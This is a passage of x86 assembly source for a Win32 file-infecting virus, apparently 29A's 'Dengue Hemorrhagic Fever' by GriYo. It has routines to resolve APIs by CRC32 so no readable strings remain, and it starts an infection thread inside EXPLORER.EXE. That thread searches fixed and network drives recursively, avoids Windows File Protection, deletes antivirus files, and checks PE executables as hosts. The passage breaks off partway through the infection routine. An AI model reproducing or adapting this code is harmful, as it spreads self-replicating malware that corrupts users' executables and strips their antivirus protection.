;Polynomials over GF(2) are represented in binary, one bit per coefficient,
|
|
;with the lowest powers in the most significant bit. Then adding polynomials
|
|
;is just exclusive-or, and multiplying a polynomial by x is a right shift by
|
|
;one. If we call the above polynomial p, and represent a byte as the
|
|
;polynomial q, also with the lowest power in the most significant bit (so the
|
|
;byte 0xb1 is the polynomial x^7+x^3+x+1), then the CRC is (q*x^32) mod p,
|
|
;where a mod b means the remainder after dividing a by b.
|
|
;
|
|
;This calculation is done using the shift-register method of multiplying and
|
|
;taking the remainder. The register is initialized to zero, and for each
|
|
;incoming bit, x^32 is added mod p to the register if the bit is a one (where
|
|
;x^32 mod p is p+x^32 = x^26+...+1), and the register is multiplied mod p by
|
|
;x (which is shifting right by one and adding x^32 mod p if the bit shifted
|
|
;out is a one). We start with the highest power (least significant bit) of
|
|
;q and repeat for all eight bits of q.
|
|
;
|
|
;The table is simply the CRC of all possible eight bit values. This is all
|
|
;the information needed to generate CRC's on data a byte at a time for all
|
|
;combinations of CRC register values and incoming bytes.
|
|
;
|
|
;Original C code by Mark Adler
|
|
;Translated to asm for Win32 by GriYo
|
|
;============================================================================
|
|
|
|
make_crc_tbl:
|
|
|
|
;============================================================================
|
|
;Make exclusive-or pattern from polynomial (0EDB88320h)
|
|
;
|
|
;The following commented code is an example of how to
|
|
;make the exclusive-or pattern from polynomial
|
|
;at runtime
|
|
;
|
|
; xor edx,edx
|
|
; mov ecx,0000000Eh
|
|
; lea ebx,dword ptr [ebp+tbl_terms]
|
|
;calc_poly: mov eax,ecx
|
|
; xlatb
|
|
; sub eax,0000001Fh
|
|
; neg eax
|
|
; bts edx,eax
|
|
; loop calc_poly
|
|
;
|
|
; edx contains now the exclusive-or pattern
|
|
;
|
|
; The polynomial is:
|
|
;
|
|
; X^32+X^26+X^23+X^22+X^16+X^12+X^11+X^10+X^8+X^7+X^5+X^4+X^2+X^1+X^0
|
|
;
|
|
;tbl_terms db 0,1,2,4,5,7,8,10,11,12,16,22,23,26
|
|
;
|
|
;============================================================================
|
|
|
|
cld
|
|
mov ecx,00000100h
|
|
lea edi,dword ptr [ebp+tbl_crc32]
|
|
crc_tbl_do: mov eax,000000FFh
|
|
sub eax,ecx
|
|
push ecx
|
|
mov ecx,00000008h
|
|
make_crc_value: shr eax,01h
|
|
jnc next_value
|
|
xor eax,0EDB88320h
|
|
next_value: loop make_crc_value
|
|
pop ecx
|
|
stosd
|
|
loop crc_tbl_do
|
|
ret
|
|
|
|
;============================================================================
|
|
;Return a 32bit CRC of the contents of the buffer
|
|
;
|
|
;On entry:
|
|
; esi -> Ptr to buffer
|
|
; ecx -> Buffer size
|
|
;On exit:
|
|
; edx -> 32bit CRC
|
|
;============================================================================
|
|
|
|
get_crc32: cld
|
|
push edi
|
|
xor edx,edx
|
|
lea edi,dword ptr [ebp+tbl_crc32]
|
|
crc_calc: push ecx
|
|
lodsb
|
|
xor eax,edx
|
|
and eax,000000FFh
|
|
shr edx,08h
|
|
xor edx,dword ptr [edi+eax]
|
|
pop ecx
|
|
loop crc_calc
|
|
pop edi
|
|
ret
|
|
|
|
;============================================================================
|
|
;Get a 32bit CRC of a null terminated array
|
|
;
|
|
;On entry:
|
|
; esi -> Ptr to string
|
|
;Exit:
|
|
; edx -> 32bit CRC
|
|
;============================================================================
|
|
|
|
get_str_crc32: cld
|
|
push ecx
|
|
push edi
|
|
mov edi,esi
|
|
xor eax,eax
|
|
mov ecx,eax
|
|
crc_sz: inc ecx
|
|
scasb
|
|
jnz crc_sz
|
|
call get_crc32
|
|
pop edi
|
|
pop ecx
|
|
ret
|
|
|
|
;============================================================================
|
|
;Get the entry-point of GetProcAddress
|
|
;
|
|
;On entry:
|
|
; ebx -> KERNELL32 base address
|
|
;On exit:
|
|
; ecx -> Address of GetProcAddress
|
|
;============================================================================
|
|
|
|
GetGetProcAddr: cld
|
|
mov eax,dword ptr [ebx+IMAGE_DOS_HEADER.MZ_lfanew]
|
|
mov edx,dword ptr [eax+ \
|
|
ebx+ \
|
|
NT_OptionalHeader. \
|
|
OH_DirectoryEntries. \
|
|
DE_Export. \
|
|
DD_VirtualAddress]
|
|
add edx,ebx
|
|
mov esi,dword ptr [edx+ED_AddressOfNames]
|
|
add esi,ebx
|
|
mov edi,dword ptr [edx+ED_AddressOfNameOrdinals]
|
|
add edi,ebx
|
|
mov ecx,dword ptr [edx+ED_NumberOfNames]
|
|
|
|
function_loop: lodsd
|
|
push edx
|
|
push esi
|
|
lea esi,dword ptr [eax+ebx] ;Get ptr to API name
|
|
call get_str_crc32 ;Get CRC32 of API name
|
|
pop esi
|
|
cmp edx,dword ptr [ebp+CrcGetProcAddr]
|
|
je API_found
|
|
inc edi
|
|
inc edi
|
|
pop edx
|
|
loop function_loop
|
|
ret
|
|
|
|
API_found: pop edx
|
|
movzx eax,word ptr [edi]
|
|
sub eax,dword ptr [edx+ED_BaseOrdinal]
|
|
inc eax
|
|
shl eax,02h
|
|
mov esi,dword ptr [edx+ED_AddressOfFunctions]
|
|
add esi,eax
|
|
add esi,ebx
|
|
lodsd
|
|
lea ecx,dword ptr [eax+ebx]
|
|
ret
|
|
|
|
;============================================================================
|
|
;Get the entry-point of each needed API
|
|
;
|
|
;This routine uses the CRC32 instead of API names
|
|
;
|
|
;On entry:
|
|
; ebx -> Base address of DLL
|
|
; ecx -> Number of APIs in the folling buffer
|
|
; esi -> Buffer filled with the CRC32 of each API name
|
|
; edi -> Recives found API addresses
|
|
;On exit:
|
|
; ecx -> Is 00000000h if everything was ok
|
|
;============================================================================
|
|
|
|
get_APIs: cld
|
|
get_each_API: push ecx
|
|
push esi
|
|
|
|
;============================================================
|
|
;Get a pointer to the EXPORT data
|
|
;============================================================
|
|
|
|
mov eax,dword ptr [ebx+IMAGE_DOS_HEADER.MZ_lfanew]
|
|
mov edx,dword ptr [eax+ \
|
|
ebx+ \
|
|
NT_OptionalHeader. \
|
|
OH_DirectoryEntries. \
|
|
DE_Export. \
|
|
DD_VirtualAddress]
|
|
add edx,ebx
|
|
mov esi,dword ptr [edx+ED_AddressOfNames]
|
|
add esi,ebx
|
|
mov ecx,dword ptr [edx+ED_NumberOfNames]
|
|
|
|
;============================================================
|
|
;Try to find an API name that matches given CRC32
|
|
;============================================================
|
|
|
|
API_Loop: lodsd
|
|
push esi ;Ptr to AddressOfNames
|
|
lea esi,dword ptr [eax+ebx]
|
|
push esi ;Save ptr to API name
|
|
call get_str_crc32
|
|
mov esi,dword ptr [esp+00000008h]
|
|
lodsd
|
|
cmp eax,edx
|
|
je CRC_API_found
|
|
pop eax ;Remove API name from stack
|
|
pop esi ;Ptr to RVA for next API name
|
|
loop API_Loop
|
|
get_API_error: pop esi ;Ptr to CRC's of API names
|
|
pop ecx ;Number of API's
|
|
ret ;Exit with error (ecx!=NULL)
|
|
|
|
;============================================================
|
|
;The ptr to API name is already on stack, now push the
|
|
;module handle and call GetProcAddress
|
|
;============================================================
|
|
|
|
CRC_API_found: push ebx
|
|
call dword ptr [ebp+a_GetProcAddress]
|
|
|
|
cld ;Dont let the API call change this
|
|
pop edx ;Remove ptr to RVA for next name
|
|
|
|
or eax,eax
|
|
jz get_API_error;If GetProcAddress returned NULL exit
|
|
|
|
stosd ;Save the API address into given table
|
|
pop esi ;Ptr to CRC's of API names
|
|
lodsd
|
|
pop ecx
|
|
loop get_each_API
|
|
ret
|
|
|
|
;============================================================================
|
|
;Find base address of KERNEL32.DLL
|
|
;Thanks to Jacky Qwerty for the SEH routines
|
|
;============================================================================
|
|
|
|
SEH_Block_0000 macro
|
|
add esp,-cPushad
|
|
jnz GNtBA_L1
|
|
endm
|
|
|
|
IGetNtBaseAddr: @SEH_SetupFrame <SEH_Block_0000>
|
|
mov ecx,edx
|
|
xchg ax,cx
|
|
GNtBA_L0: dec cx
|
|
jz GNtBA_L2
|
|
add eax,-10000h
|
|
pushad
|
|
mov bx,-IMAGE_DOS_SIGNATURE
|
|
add bx,word ptr [eax]
|
|
mov esi,eax
|
|
jnz GNtBA_L1
|
|
mov ebx,-IMAGE_NT_SIGNATURE
|
|
add eax,dword ptr [esi.MZ_lfanew]
|
|
mov edx,esi
|
|
add ebx,dword ptr [eax]
|
|
jnz GNtBA_L1
|
|
add edx,[eax.NT_OptionalHeader.OH_DirectoryEntries. \
|
|
DE_Export.DD_VirtualAddress]
|
|
add esi,dword ptr [edx.ED_Name]
|
|
lea edi,dword ptr [ebp+BufStrFilename]
|
|
call parse_filename
|
|
mov esi,edx
|
|
call get_str_crc32
|
|
cmp edx,dword ptr [ebp+CrcKernel32] ;Is KERNEL32.DLL ?
|
|
je k32_f
|
|
GNtBA_L1: popad
|
|
jmp GNtBA_L0
|
|
|
|
k32_f: popad
|
|
xchg ecx,eax
|
|
inc eax
|
|
|
|
GNtBA_L2: @SEH_RemoveFrame
|
|
ret
|
|
|
|
;============================================================================
|
|
;VirLoadLib
|
|
;
|
|
;To use CRC32 instead of API names sounds cool... But there are still some
|
|
;strings authors cant get rid of... When calling LoadLibrary the virus must
|
|
;specify the DLL name
|
|
;
|
|
;This routine is the solution to avoid the usage of DLL names
|
|
;
|
|
;On entry:
|
|
; eax -> CRC32 of DLL name
|
|
; esi -> CRC32 of API names
|
|
; edi -> Where to put API addresses
|
|
; ecx -> Number of APIs to find
|
|
;On exit:
|
|
; eax -> Module handle or NULL on error
|
|
;============================================================================
|
|
|
|
VirLoadLib: push ecx
|
|
push esi
|
|
push edi
|
|
|
|
mov dword ptr [ebp+a_SDLL_CRC32],eax
|
|
|
|
lea eax,dword ptr [ebp+DirectFindData]
|
|
push eax ;lpFindFileData
|
|
lea eax,dword ptr [ebp+szSYSTEMDIR] ;lpFileName
|
|
push eax
|
|
|
|
call dword ptr [ebp+a_FindFirstFileA]
|
|
cmp eax,INVALID_HANDLE_VALUE
|
|
jz EVirLoadLib
|
|
|
|
mov dword ptr [ebp+h_Find],eax
|
|
|
|
CheckDllName: lea esi,dword ptr [ebp+DirectFindData+WFD_szFileName]
|
|
lea edi,dword ptr [ebp+BufStrFilename]
|
|
call parse_filename
|
|
mov esi,edx
|
|
call get_str_crc32
|
|
|
|
cmp edx,dword ptr [ebp+a_SDLL_CRC32]
|
|
je OkCheckDll
|
|
|
|
lea eax,dword ptr [ebp+DirectFindData]
|
|
push eax ;lpFindFileData
|
|
push dword ptr [ebp+h_Find] ;hFindFile
|
|
call dword ptr [ebp+a_FindNextFileA]
|
|
or eax,eax
|
|
jnz CheckDllName
|
|
|
|
EVirLoadLib: pop edi
|
|
pop esi
|
|
pop ecx
|
|
xor eax,eax
|
|
ret
|
|
|
|
OkCheckDll: lea esi,dword ptr [ebp+szSYSTEMDIR]
|
|
lea edi,dword ptr [ebp+BufStrFilename]
|
|
|
|
push edi
|
|
|
|
call parse_filename
|
|
lea esi,dword ptr [ebp+DirectFindData+WFD_szFileName]
|
|
mov edi,edx
|
|
call parse_filename
|
|
|
|
call dword ptr [ebp+a_LoadLibraryA]
|
|
or eax,eax
|
|
jz EVirLoadLib
|
|
|
|
mov ebx,eax
|
|
|
|
pop edi
|
|
pop esi
|
|
pop ecx
|
|
|
|
call get_APIs
|
|
jecxz OkVirLoadLib
|
|
|
|
push ebx
|
|
call dword ptr [ebp+a_FreeLibrary]
|
|
xor eax,eax
|
|
ret
|
|
|
|
OkVirLoadLib: mov eax,ebx
|
|
ret
|
|
|
|
;============================================================================
|
|
;This routine takes a string pointed by esi and copies
|
|
;it into a buffer pointed by edi
|
|
;
|
|
;The result string will be converted to upper-case
|
|
;
|
|
;On entry:
|
|
; esi -> Pointer to source string
|
|
; edi -> Pointer to returned string
|
|
;
|
|
;On exit:
|
|
; al -> Null
|
|
; edx -> Points to character next to last \
|
|
; edi -> Points 1byte above the null terminator
|
|
;============================================================================
|
|
|
|
parse_filename: mov edx,edi
|
|
cld
|
|
ScanZstring: lodsb
|
|
cmp al,"a"
|
|
jb no_upper
|
|
cmp al,"z"
|
|
ja no_upper
|
|
and al,0DFh
|
|
no_upper: stosb
|
|
cmp al,"\"
|
|
jne err_slash_pos
|
|
mov edx,edi
|
|
err_slash_pos: or al,al
|
|
jnz ScanZstring
|
|
ret
|
|
|
|
;============================================================================
|
|
;Copyright notice and disclaimer
|
|
;============================================================================
|
|
|
|
copyright db '[ Dengue Hemorrhagic Fever'
|
|
|
|
db ' BioCoded by GriYo / 29A ]'
|
|
|
|
disclaimer db ' Disclaimer: This software has been designed'
|
|
db ' for research purposes only. The author is'
|
|
db ' not responsible for any problems caused due to'
|
|
db ' improper or illegal usage of it '
|
|
|
|
;============================================================================
|
|
;Virus initialization ( inside EXPLORER.EXE )
|
|
;============================================================================
|
|
|
|
ExplorerInit: call ExplorerDelta
|
|
ExplorerDelta: pop ebp
|
|
sub ebp,offset ExplorerDelta
|
|
|
|
;============================================================
|
|
;Get current local time
|
|
;============================================================
|
|
|
|
FreeExplorerOk: lea esi,dword ptr [ebp+local_time]
|
|
push esi
|
|
call dword ptr [ebp+a_GetLocalTime]
|
|
|
|
;============================================================
|
|
;Initialize random number generator seed using current
|
|
;year and current month
|
|
;============================================================
|
|
|
|
cld
|
|
lodsw
|
|
rol eax,10h
|
|
lodsw
|
|
mov dword ptr [ebp+rnd32_seed],eax
|
|
|
|
;============================================================
|
|
;Locate KERNEL32 code section in memory... This information
|
|
;will be used later in the EPO routines
|
|
;============================================================
|
|
|
|
mov ebx,dword ptr [ebp+hKERNEL32]
|
|
call get_code_sh
|
|
mov eax,dword ptr [edi+SH_VirtualAddress]
|
|
add eax,ebx
|
|
mov dword ptr [ebp+K32CodeStart],eax
|
|
add eax,dword ptr [edi+SH_VirtualSize]
|
|
mov dword ptr [ebp+K32CodeEnd],eax
|
|
|
|
;============================================================
|
|
;Sleep for a moment, before start making noise
|
|
;============================================================
|
|
|
|
push 00005000h
|
|
call dword ptr [ebp+a_Sleep]
|
|
|
|
;============================================================
|
|
;Load IMAGEHLP.DLL
|
|
;
|
|
;The ImageHlp functions are supported by the Microsoft
|
|
;Windows NT, Windows 95, and Windows 98 operating systems...
|
|
;They are used mostly by programming tools, application setup
|
|
;utilities, and other programs that need access to the data
|
|
;contained in a PE image
|
|
;============================================================
|
|
|
|
mov eax,dword ptr [ebp+CRCszIMGHLP]
|
|
mov ecx,NumIMGHLPApis
|
|
lea esi,dword ptr [ebp+CRC32IMGHLPApis]
|
|
lea edi,dword ptr [ebp+epIMGHLPApis]
|
|
call VirLoadLib
|
|
mov dword ptr [ebp+hIMGHLP],eax
|
|
|
|
;============================================================
|
|
;Load SFC.DLL (Windows 2000 only)
|
|
;============================================================
|
|
|
|
mov dword ptr [ebp+hSFC],00000000h
|
|
cmp dword ptr [ebp+dwMajorVersion],00000005h
|
|
jb Ready2Infect
|
|
|
|
mov eax,dword ptr [ebp+CRCszSFC]
|
|
mov ecx,NumSFCApis
|
|
lea esi,dword ptr [ebp+CRC32SFCApis]
|
|
lea edi,dword ptr [ebp+epSFCApis]
|
|
call VirLoadLib
|
|
mov dword ptr [ebp+hSFC],eax
|
|
|
|
;============================================================
|
|
;Initialization inside EXPLORER.EXE complete...
|
|
;
|
|
;Now create a thread to search for files to infect and
|
|
;get control back to EXPLORER.EXE
|
|
;============================================================
|
|
|
|
Ready2Infect: lea eax,dword ptr [ebp+IF_ThreadID]
|
|
push eax ;lpThreadId
|
|
xor edx,edx
|
|
push edx ;dwCreationFlags
|
|
push edx ;lpParameter
|
|
lea eax,dword ptr [ebp+InfectionThread]
|
|
push eax ;lpStartAddress
|
|
push edx ;dwStackSize
|
|
push edx ;lpThreadAttributes
|
|
call dword ptr [ebp+a_CreateThread]
|
|
or eax,eax
|
|
jz AfterThread
|
|
|
|
ret ; Let the thread running until terminates
|
|
|
|
;============================================================
|
|
;Free SFC
|
|
;============================================================
|
|
|
|
AfterThread: mov eax,dword ptr [ebp+hSFC]
|
|
or eax,eax
|
|
jz SfcNotLoaded
|
|
|
|
push eax
|
|
call dword ptr [ebp+a_FreeLibrary]
|
|
|
|
;============================================================
|
|
;Free IMAGEHLP
|
|
;============================================================
|
|
|
|
SfcNotLoaded: mov eax,dword ptr [ebp+hIMGHLP]
|
|
or eax,eax
|
|
jz ExitIThread
|
|
|
|
push eax
|
|
call dword ptr [ebp+a_FreeLibrary]
|
|
|
|
ret
|
|
|
|
;============================================================================
|
|
;Virus infection thread, created from inside EXPLORER.EXE process
|
|
;============================================================================
|
|
|
|
InfectionThread:call ThreadDelta
|
|
ThreadDelta: pop ebp
|
|
sub ebp,offset ThreadDelta
|
|
|
|
lea esi,dword ptr [ebp+szLogicalDrives]
|
|
mov edi,SIZEOF_LDSB
|
|
push esi
|
|
push edi
|
|
call dword ptr [ebp+a_GetLogicalDriveStringsA]
|
|
or eax,eax
|
|
jz ExitIThread
|
|
|
|
cmp eax,edi
|
|
ja ExitIThread
|
|
|
|
;============================================================
|
|
;Follow the drives chain
|
|
;============================================================
|
|
|
|
DrivesLoop: cmp byte ptr [esi],00h
|
|
jnz MoreDrives
|
|
|
|
;============================================================
|
|
;Terminate infection thread
|
|
;============================================================
|
|
|
|
ExitIThread: call AfterThread
|
|
|
|
push 00000000h
|
|
call dword ptr [ebp+a_ExitThread] ;Leave the thread
|
|
|
|
;============================================================
|
|
;Check drive type, only fixed or remote drives allowed
|
|
;============================================================
|
|
|
|
MoreDrives: push esi
|
|
call dword ptr [ebp+a_GetDriveTypeA]
|
|
|
|
cmp eax,00000003h ; DRIVE_FIXED
|
|
je CheckThisDrive
|
|
|
|
cmp eax,00000004 ; DRIVE_REMOTE
|
|
jne NextDrive
|
|
|
|
;============================================================
|
|
;Got it! Do recursive search on drive
|
|
;============================================================
|
|
|
|
CheckThisDrive: push esi
|
|
lea edi,dword ptr [ebp+BufGetDir]
|
|
push edi
|
|
call parse_filename
|
|
call Search4Files
|
|
pop edi
|
|
pop esi
|
|
|
|
NextDrive: cld
|
|
NextDString: lodsb
|
|
or al,al
|
|
jnz NextDString
|
|
|
|
jmp DrivesLoop
|
|
|
|
;============================================================================
|
|
;Search for target...
|
|
;
|
|
;This routine its able to call itself in order to perform a recursive
|
|
;search all along the entire directory tree
|
|
;
|
|
;============================================================================
|
|
|
|
;============================================================
|
|
;Store local information on the stack
|
|
;============================================================
|
|
|
|
Search4Files: sub esp,SIZEOF_WIN32_FIND_DATA + 00000004h
|
|
mov ebx,esp
|
|
|
|
;Find frame:
|
|
;
|
|
; Path where to perform search ( size MAX_PATH )
|
|
; Return address ( size DWORD )
|
|
; FindHandle ( size DWORD )
|
|
; Find data ( size SIZEOF_WIN32_FIND_DATA )
|
|
|
|
FindStack_Ptr2FindData equ 00000000h
|
|
FindStack_Ptr2FindHandle equ SIZEOF_WIN32_FIND_DATA
|
|
FindStack_Ptr2ReturnAddress equ SIZEOF_WIN32_FIND_DATA + 00000004h
|
|
FindStack_Ptr2SearchPath equ SIZEOF_WIN32_FIND_DATA + 00000008h
|
|
|
|
;============================================================
|
|
;Do FindFirstFile
|
|
;============================================================
|
|
|
|
push ebx ; lpFindFileData
|
|
|
|
mov esi,dword ptr [ebx+FindStack_Ptr2SearchPath]
|
|
mov edi,esi
|
|
|
|
push edi ; lpFileName
|
|
|
|
call parse_filename
|
|
dec edi
|
|
|
|
cmp byte ptr [edi-00000001h],'\'
|
|
jne RootAware
|
|
|
|
dec edi
|
|
|
|
RootAware: mov eax,'*.*\'
|
|
stosd
|
|
xor eax,eax
|
|
stosb
|
|
|
|
call dword ptr [ebp+a_FindFirstFileA]
|
|
cmp eax,INVALID_HANDLE_VALUE
|
|
je ErrorFindFirst
|
|
|
|
mov dword ptr [ebx+FindStack_Ptr2FindHandle],eax
|
|
|
|
;============================================================
|
|
;Find data ready to be checked
|
|
;============================================================
|
|
|
|
GoFindRecord: lea esi,dword ptr [ebx+WFD_szFileName]
|
|
cld
|
|
lodsd
|
|
|
|
;============================================================
|
|
;Check for . and ..
|
|
;============================================================
|
|
|
|
cmp ax,002Eh
|
|
je DoFindNext
|
|
|
|
and eax,00FFFFFFh
|
|
cmp eax,00002E2Eh
|
|
je DoFindNext
|
|
|
|
;============================================================
|
|
;Check if this is a directory
|
|
;============================================================
|
|
|
|
mov eax,dword ptr [ebx]
|
|
|
|
test eax,FILE_ATTRIBUTE_DIRECTORY
|
|
jz DoFileFound
|
|
|
|
;============================================================
|
|
;Directory found, perform recursive search on it
|
|
;============================================================
|
|
|
|
push ebx
|
|
|
|
mov esi,dword ptr [ebx+FindStack_Ptr2SearchPath]
|
|
sub esp,MAX_PATH
|
|
mov edi,esp
|
|
|
|
push edi
|
|
|
|
call parse_filename
|
|
|
|
lea esi,dword ptr [ebx+WFD_szFileName]
|
|
mov edi,edx
|
|
call parse_filename
|
|
|
|
call Search4Files
|
|
pop edi
|
|
|
|
add esp,MAX_PATH
|
|
|
|
pop ebx
|
|
jmp DoFindNext
|
|
|
|
;============================================================
|
|
;File found, check if its a valid host
|
|
;============================================================
|
|
|
|
DoFileFound: and eax,FILE_ATTRIBUTE_DIRECTORY or \
|
|
FILE_ATTRIBUTE_COMPRESSED or \
|
|
FILE_ATTRIBUTE_SYSTEM
|
|
|
|
jnz DoFindNext
|
|
|
|
;============================================================
|
|
;Save file time
|
|
;============================================================
|
|
|
|
cld
|
|
lea esi,dword ptr [ebx+WFD_ftCreationTime]
|
|
lea edi,dword ptr [ebp+FT_CreationTime]
|
|
|
|
movsd ; ftCreationTime ( dwLowDateTime )
|
|
movsd ; ftCreationTime ( dwHighDateTime )
|
|
|
|
movsd ; ftLastAccessTime ( dwLowDateTime )
|
|
movsd ; ftLastAccessTime ( dwHighDateTime )
|
|
|
|
movsd ; ftLastWriteTime ( dwLowDateTime )
|
|
movsd ; ftLastWriteTime ( dwHighDateTime )
|
|
|
|
;============================================================
|
|
;Check if file size is allowed
|
|
;============================================================
|
|
|
|
lodsd ; EDI points to WFD_nFileSizeHigh
|
|
or eax,eax
|
|
jnz DoFindNext
|
|
lodsd
|
|
cmp eax,0FFFFFFFFh- \
|
|
(size_virtual+(NUMBER_OF_POLY_LAYERS*00004000h))
|
|
|
|
jae DoFindNext
|
|
|
|
cmp eax,inf_size
|
|
jbe DoFindNext
|
|
|
|
;============================================================
|
|
;Save the file size for l8r use
|
|
;============================================================
|
|
|
|
mov dword ptr [ebp+FileSizeOnDisk],eax
|
|
|
|
;============================================================
|
|
;Check if file is already infected, using size padding
|
|
;============================================================
|
|
|
|
SIZE_PADDING equ 00000065h
|
|
|
|
mov ecx,SIZE_PADDING
|
|
xor edx,edx
|
|
div ecx
|
|
or edx,edx
|
|
jz DoFindNext
|
|
|
|
;============================================================
|
|
;Get complete path + filename and convert it to upper case
|
|
;============================================================
|
|
|
|
mov esi,dword ptr [ebx+FindStack_Ptr2SearchPath]
|
|
lea edi,dword ptr [ebp+BufStrFilename]
|
|
call parse_filename
|
|
lea esi,dword ptr [ebx+WFD_szFileName]
|
|
mov edi,edx
|
|
call parse_filename
|
|
|
|
; al -> Null
|
|
; edx -> Points to filename at the end of path
|
|
; edi -> Points 1byte above the null terminator
|
|
|
|
;============================================================
|
|
;Check file extension
|
|
;============================================================
|
|
|
|
lea esi,dword ptr [edi-00000005h]
|
|
call get_str_crc32
|
|
|
|
lea esi,dword ptr [ebp+TblCRC32szEXT]
|
|
mov ecx,NumberOfExt
|
|
CheckExtLoop: lodsd
|
|
sub eax,edx
|
|
jnz NoInterested
|
|
|
|
;============================================================
|
|
;Extension match... Infect file
|
|
;============================================================
|
|
|
|
call FileInfection
|
|
jmp short DoFindNext
|
|
|
|
NoInterested: loop CheckExtLoop
|
|
|
|
;============================================================
|
|
;None of our infectable extensions match
|
|
;Lets see if this file is an AV related file...
|
|
;============================================================
|
|
|
|
lea esi,dword ptr [ebp+BufStrFilename]
|
|
mov edi,esi
|
|
call parse_filename ;Parse and reparse
|
|
|
|
mov esi,edx
|
|
call get_str_crc32
|
|
|
|
lea esi,dword ptr [ebp+TblCRC32AV]
|
|
mov ecx,NumberOfAV
|
|
CheckAVLoop: lodsd
|
|
sub eax,edx
|
|
jnz AvNoMatch
|
|
|
|
;============================================================
|
|
;AV file found... Reset its attributes and delete it
|
|
;============================================================
|
|
|
|
lea esi,dword ptr [ebp+BufStrFilename]
|
|
|
|
push eax ; 00000000h
|
|
push esi
|
|
call dword ptr [ebp+a_SetFileAttributesA]
|
|
|
|
push esi
|
|
call dword ptr [ebp+a_DeleteFileA]
|
|
|
|
jmp short DoFindNext
|
|
|
|
AvNoMatch: loop CheckAVLoop
|
|
|
|
;============================================================
|
|
;Before looking for more files lets sleep a while
|
|
;============================================================
|
|
|
|
DoFindNext: mov eax,00000800h
|
|
call get_rnd_range
|
|
add eax,00000400h
|
|
push eax
|
|
call dword ptr [ebp+a_Sleep]
|
|
|
|
;============================================================
|
|
;Find next directory or file
|
|
;============================================================
|
|
|
|
push ebx ; lpFindFileData
|
|
push dword ptr [ebx+FindStack_Ptr2FindHandle]
|
|
|
|
call dword ptr [ebp+a_FindNextFileA]
|
|
|
|
or eax,eax
|
|
jnz GoFindRecord
|
|
|
|
ErrorFindFirst: mov eax,00002000h
|
|
call get_rnd_range
|
|
add eax,00001000h
|
|
push eax
|
|
call dword ptr [ebp+a_Sleep]
|
|
|
|
push dword ptr [ebx+FindStack_Ptr2FindHandle]
|
|
call dword ptr [ebp+a_FindClose]
|
|
|
|
mov esp,ebx
|
|
add esp,SIZEOF_WIN32_FIND_DATA + 00000004h
|
|
ret
|
|
|
|
;============================================================================
|
|
;Infect PE files
|
|
;
|
|
;On entry:
|
|
; BufStrFilename -> Buffer that contains complete path and
|
|
; filename
|
|
; DirectFindData -> Win32 Find Data structure filled with
|
|
; information about the file to infect
|
|
;============================================================================
|
|
|
|
FileInfection: push ebx
|
|
lea esi,dword ptr [ebp+BufStrFilename]
|
|
mov edi,esi
|
|
call parse_filename
|
|
mov esi,edx
|
|
|
|
;****************************************************************************
|
|
; mov eax,dword ptr [esi]
|
|
; cmp eax,'TAOG'
|
|
; jne ExitFileInf
|
|
;****************************************************************************
|
|
|
|
;============================================================
|
|
;Avoid some files from being infected
|
|
;============================================================
|
|
|
|
CheckFileName: push esi
|
|
mov ecx,00000002h
|
|
call get_crc32
|
|
lea esi,dword ptr [ebp+avoid_tbl]
|
|
mov ecx,avoid_num
|
|
AvoidLoop: lodsd
|
|
cmp eax,edx
|
|
jne NextAvoid
|
|
|
|
pop esi
|
|
jmp ExitFileInf
|
|
|
|
NextAvoid: loop AvoidLoop
|
|
pop esi
|
|
lodsb
|
|
cmp al,'.'
|
|
jne CheckFileName
|
|
|
|
;============================================================
|
|
;Check if file is protected by Windows File Protection
|
|
;(Windows 2000 only)
|
|
;============================================================
|
|
|
|
cmp dword ptr [ebp+hSFC],00000000h
|
|
jz NotProtected
|
|
lea eax,dword ptr [ebp+BufStrFilename]
|
|
push eax
|
|
push 00000000h
|
|
call dword ptr [ebp+a_SfcIsFileProtected]
|
|
or eax,eax
|
|
jnz ExitFileInf
|
|
|
|
;============================================================
|
|
;Try to infect this file
|
|
;============================================================
|
|
|
|
NotProtected: call TryAttach
|
|
|
|
;============================================================
|
|
;Exit file infection
|
|
;============================================================
|
|
|
|
ExitFileInf: pop ebx
|
|
ret
|
|
|
|
;============================================================================
|
|
;Infect file routines
|
|
;
|
|
;On entry:
|
|
; BufStrFilename -> Buffer filled with path + filename
|
|
;============================================================================
|
|
|
|
SEH_Block_0001 macro
|
|
add esp,-cPushad
|
|
jnz Ape_err
|
|
endm
|
|
|
|
;============================================================
|
|
;Open target file for read-only access
|
|
;============================================================
|
|
|
|
TryAttach: call FileMapRO
|
|
or eax,eax
|
|
jz inf_file_err
|
|
|
|
;============================================================
|
|
;Register ebx contains the base address of the target file
|
|
;all along infection routines
|
|
;============================================================
|
|
|
|
mov ebx,eax
|
|
|
|
;============================================================
|
|
;Check for MZ signature at base address
|
|
;============================================================
|
|
|
|
cld
|
|
cmp word ptr [ebx],IMAGE_DOS_SIGNATURE
|
|
jne inf_close_file
|
|
|
|
;============================================================
|
|
;Check file address of relocation table
|
|
;============================================================
|
|
|
|
cmp word ptr [ebx+MZ_lfarlc],0040h
|
|
jb inf_close_file
|
|
|
|
;============================================================
|
|
;Now go to the pe header and check for the PE signature
|
|
;============================================================
|
|
|
|
mov esi,dword ptr [ebx+MZ_lfanew]
|
|
mov eax,dword ptr [ebp+FileSizeOnDisk]
|
|
shr eax,01h
|
|
cmp esi,eax
|
|
jae inf_close_file
|
|
|
|
add esi,ebx
|
|
lodsd
|
|
cmp eax,IMAGE_NT_SIGNATURE
|
|
jne inf_close_file
|
|
|
|
;============================================================
|
|
;Check machine field in IMAGE_FILE_HEADER
|
|
;just allow i386 PE files
|
|
;============================================================
|
|
|
|
cmp word ptr [esi+FH_Machine],IMAGE_FILE_MACHINE_I386
|
|
jne inf_close_file
|
|
|
|
;============================================================
|
|
;Now check the characteristics, look if file
|
|
;is an executable
|
|
;============================================================
|
|
|
|
mov ax,word ptr [esi+FH_Characteristics]
|
|
test ax,IMAGE_FILE_EXECUTABLE_IMAGE or \
|
|
IMAGE_FILE_32BIT_MACHINE
|
|
|
|
jz inf_close_file
|
|
|
|
;============================================================
|
|
;Avoid DLL's
|
|
;============================================================
|
|
|
|
; Removed to allow .CPL infection
|
|
;
|
|
; test ax,IMAGE_FILE_DLL
|
|
; jnz inf_close_file
|
|
|
|
;============================================================
|
|
;Virus resides on last section
|
|
;============================================================
|
|
|
|
call get_last_sh
|
|
jecxz inf_close_file
|
|
|
|
;============================================================
|
|
;Check subsystem, only GUI applications allowed
|
|
;============================================================
|
|
|
|
movzx eax,word ptr [esi+OH_Subsystem]
|
|
cmp eax,IMAGE_SUBSYSTEM_WINDOWS_GUI
|
|
jne inf_close_file
|
|
|
|
